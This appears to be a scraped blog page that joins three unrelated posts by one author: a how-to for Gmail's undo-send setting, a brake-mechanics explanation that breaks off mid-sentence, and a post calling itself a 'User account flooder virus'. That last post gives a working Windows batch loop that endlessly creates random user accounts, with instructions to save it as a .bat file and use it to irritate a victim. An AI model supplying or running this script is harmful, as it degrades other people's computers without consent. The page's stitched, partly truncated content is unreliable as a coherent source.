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How to undo a sent email in Gmail..?

Some times when we write an email but by some mistake emails get send without our intention. But do you know that we can undo sent emails let's begin...

login to gmail and go to settings and open it...

Go to general tab and Click on Enable Undo Send

Now set cancellation period


now send any email you should get Undo option for you sent Email.

Yeah! you have all done......

Don't forget to follow and share..........



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By:Prayag nao

An internal expanding brake consists of two shoes S1 and S2. The outer surface of the shoes are lined with some friction material (usually with Ferodo) to increase the coefficient of friction and to prevent wearing away of the metal. Each shoe is pivoted at one end about a fixed fulcrum O1and O2 and made to contact a cam at the other end. When the cam rotates, the shoes are pushed outwards against the rim of the drum. The friction between the shoes and the drum produces the braking torque and hence reduces the speed of the drum. The shoes are normally held in
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By: Prayag nao

User account flooder virus

By:prayag nao

Hello my friends User account flooder virus make multiple account in pc.
it an fun virus usually used for irritating victim.

This code would start creating windows user accounts whose names could be any random numbers. 

@echo off :x net user %random% /add     //create user account goto x copy n paste these code into notepad and save with bat extension. Enjoy...!!!!